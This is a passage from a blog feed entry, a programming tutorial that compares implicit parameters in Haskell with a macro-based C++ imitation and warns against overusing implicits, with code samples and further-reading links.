    &lt;span class=&quot;token builtin&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;sort&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;-- Which one is implicitly passed? `cmp` or `cmp2`? :)&lt;/span&gt;
    
    &lt;span class=&quot;token builtin&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Haskell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;sup&gt;(&lt;a href=&quot;https://onlinegdb.com/S4N7sxFFz&quot;&gt;Demo&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Note that implicit variables in Haskell need to be indicated with a question mark, similar to the &lt;code&gt;implicit&lt;/code&gt; keyword in Scala. &lt;code&gt;?cmp&lt;/code&gt; is an implicit variable, but &lt;code&gt;cmp&lt;/code&gt; isn’t. However, unlike Scala, the implicit parameters here are specified in the function’s type signature. And not just that, it’s written in the function’s type constraints.&lt;/p&gt;
&lt;p&gt;In Haskell, functions type signatures are placed on a separate line. For example, &lt;code&gt;sortBy&lt;/code&gt; has the signature &lt;code&gt;(a -&amp;gt; a -&amp;gt; Ordering) -&amp;gt; [a] -&amp;gt; [a]&lt;/code&gt;, meaning it takes a function (in this case, a comparator) which itself takes two generic &lt;code&gt;a&lt;/code&gt;&#39;s, a list of &lt;code&gt;a&lt;/code&gt;&#39;s, and returns a list of &lt;code&gt;a&lt;/code&gt;&#39;s. (This is not what actually happens under the hood, but it’s good enough for now.) On the other hand, &lt;code&gt;sort&lt;/code&gt;&#39;s type signature looks a little different:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token builtin&quot;&gt;sort&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;cmp&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Ordering&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Haskell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;In a Haskell type signature, stuff on the left of &lt;code&gt;=&amp;gt;&lt;/code&gt; are type constraints; here we have &lt;code&gt;?cmp :: a -&amp;gt; a -&amp;gt; Ordering&lt;/code&gt;. Although somewhat unintuitive, this leverages Haskell’s existing type system so that implicit parameters are automatically propagated. So if another function calls &lt;code&gt;sort&lt;/code&gt; without a &lt;code&gt;?cmp&lt;/code&gt;, then that function will also have &lt;code&gt;?cmp :: a -&amp;gt; a -&amp;gt; Ordering&lt;/code&gt; in its type constraint!&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;On a different note, an important distinction is that instead of searching for variables with a matching type (as in Scala), Haskell searches for variables with the &lt;em&gt;&lt;strong&gt;same name&lt;/strong&gt;&lt;/em&gt;. In a way, this behaves like C/C++ macros, but with type safety. Compare the Haskell example to the following C++ example.&lt;/p&gt;
&lt;h3 id=&quot;in-c&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/implicit-parameters-in-scala-and-haskell/#in-c&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; ...in C++&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;algorithm&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;iostream&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;vector&amp;gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;namespace&lt;/span&gt; std&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Bad practice, but just to keep things readable.&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Generic sort with comparator.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;template&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;typename&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;F&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;typename&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
T &lt;span class=&quot;token function&quot;&gt;sortBy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;F cmp&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; T xs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token function&quot;&gt;sort&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;xs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;begin&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; xs&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; cmp&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; xs&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Sort with implicit comparator. We name it with an underscore to avoid confusion with std::sort.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// Note how `xs` is substituted with the parameter, but `cmp` is &quot;implicitly&quot; used.&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;define&lt;/span&gt; &lt;span class=&quot;token macro-name function&quot;&gt;sort_&lt;/span&gt;&lt;span class=&quot;token expression&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;xs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sortBy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cmp&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; xs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Helper function.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; vector&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;pair&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; xs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;a&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; b&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; xs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot; (&quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; a &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;, &quot;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; b &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;)&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    cout &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&#92;n&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; xs &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; vector&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;pair&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;42&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;92&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//  (1, 42) (3, 14) (5, 8) (10, 4) (15, 92)&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; cmp &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; pa&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; pb&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; pa&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;first &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; pb&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;first&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sortBy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cmp&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; xs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sort_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;xs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Expanded to `print(sortBy(cmp, xs));`.&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
     
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;//  (15, 92) (1, 42) (3, 14) (5, 8) (10, 4)&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; cmp &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; pa&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;auto&lt;/span&gt; pb&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; pa&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;second &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; pb&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;second&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;sort_&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;xs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Same expansion happens here.&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;sup&gt;(&lt;a href=&quot;https://onlinegdb.com/qII0Pq54O&quot;&gt;Demo&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;This example irks me since it uses macros, so it&#39;s a bit hacky... too hacky for my tastes.&lt;/p&gt;
&lt;h2 id=&quot;abuse-of-implicits&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/implicit-parameters-in-scala-and-haskell/#abuse-of-implicits&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Abuse of Implicits&lt;/h2&gt;
&lt;p&gt;Although implicit params remove the need to explicitly state params, there is also the danger of hiding too much. This may lead to code being harder to trace and debug, and hence may cause confusion among team members.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Elmo abusing implicits. Don&#39;t be Elmo!&quot; href=&quot;https://trebledj.me/img/posts/programming/concepts/implicit-parameters/assets/implicits-500w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-45&quot; src=&quot;https://trebledj.me/img/posts/programming/concepts/implicit-parameters/assets/implicits-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 500 / 500&quot; alt=&quot;Elmo abusing implicits. Don&#39;t be Elmo!&quot; title=&quot;Elmo abusing implicits. Don&#39;t be Elmo!&quot; srcset=&quot;https://trebledj.me/img/posts/programming/concepts/implicit-parameters/assets/implicits-256w.webp 256w, https://trebledj.me/img/posts/programming/concepts/implicit-parameters/assets/implicits-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The similarity with natural languages is striking. Sometimes ambiguity may arise when people conversing don’t have sufficient context. Or misunderstanding may arise when people come from different cultures.&lt;/p&gt;
&lt;div class=&quot;alert alert-warning d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-triangle-exclamation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Coming back to software engineering, implicits are best reserved for extremely common variables and unique types. Think twice before slapping &lt;code&gt;implicit&lt;/code&gt; or a question mark in your code. You’ll thank yourself later.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Further Reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.scala-lang.org/tour/implicit-parameters.html&quot;&gt;Tour of Book: Implicit Parameters&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/5598085/where-does-scala-look-for-implicits/5598107#5598107&quot;&gt;Where does Scala look for implicits?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://downloads.haskell.org/ghc/9.8.1-alpha4/docs/users_guide/exts/implicit_parameters.html&quot;&gt;GHC Language Extensions: Implicit Parameters&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/20240828091141/https://galois.com/wp-content/uploads/2014/08/pub_JL_ImplicitParameters.pdf&quot;&gt;Implicit Parameters: Dynamic Scoping with Static Types&lt;/a&gt;: Basis for implicit params in Haskell. Good academic foundation and examples.&lt;/li&gt;
&lt;/ul&gt;
</content>
        
          <category>programming</category>
        
          <category>tutorial</category>
        
          <category>programming-languages</category>
        
          <category>scala</category>
        
          <category>haskell</category>
        
          <category>cpp</category>
        
      </entry>
    
  
</feed>